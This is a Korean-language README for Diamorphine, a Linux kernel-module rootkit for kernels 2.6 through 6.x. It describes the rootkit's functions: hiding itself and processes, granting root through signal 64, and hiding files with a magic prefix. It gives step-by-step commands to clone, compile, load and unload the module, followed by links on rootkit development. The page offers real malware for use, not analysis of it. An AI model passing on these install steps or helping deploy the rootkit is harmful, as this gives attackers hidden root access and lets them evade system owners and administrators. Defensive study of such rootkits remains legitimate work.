
LKM 루트킷 - 리눅스 커널 2.6.x/3.x/4.x/5.x/6.x (x86/x86_64 및 ARM64) 용
Diamorphine은 Linux 커널 2.6.x/3.x/4.x/5.x/6.x (x86/x86_64 및 ARM64)용 LKM 루트킷입니다.
모듈이 로드되면 보이지 않는 상태로 시작됩니다.
시그널 31을 보내면 모든 프로세스를 숨기거나 표시할 수 있습니다.
시그널 63(임의의 PID로)을 보내면 모듈이 (보이지 않거나) 보이게 됩니다.
시그널 64(임의의 PID로)를 보내면 해당 사용자가 root가 됩니다.
MAGIC_PREFIX로 시작하는 파일 또는 디렉터리가 보이지 않게 됩니다.
커널이 2.6.x/3.x/4.x/5.x/6.x인지 확인합니다.
uname -r
저장소를 복제합니다.
git clone https://github.com/m0nad/Diamorphine
폴더로 이동합니다.
cd Diamorphine
컴파일합니다.
make
모듈을 로드합니다(root 권한).
insmod diamorphine.ko
모듈은 보이지 않는 상태로 시작되므로, 제거하려면 먼저 보이게 만들어야 합니다.
kill -63 0
그런 다음 모듈을 제거합니다(root 권한).
rmmod diamorphine
Wikipedia 루트킷 https://en.wikipedia.org/wiki/Rootkit
Linux Device Drivers http://lwn.net/Kernel/LDD3/
LKM HACKING https://web.archive.org/web/20140701183221/https://www.thc.org/papers/LKM_HACKING.html
Memset's blog http://memset.wordpress.com/
Linux on-the-fly kernel patching without LKM http://phrack.org/issues/58/7.html
WRITING A SIMPLE ROOTKIT FOR LINUX https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt
Linux Cross Reference http://lxr.free-electrons.com/
zizzu0 LinuxKernelModules https://github.com/zizzu0/LinuxKernelModules/
Linux Rootkits: New Methods for Kernel 5.7+ https://xcellerator.github.io/posts/linux_rootkits_11/
FlipSwitch: a Novel Syscall Hooking Technique https://www.elastic.co/security-labs/flipswitch-linux-rootkit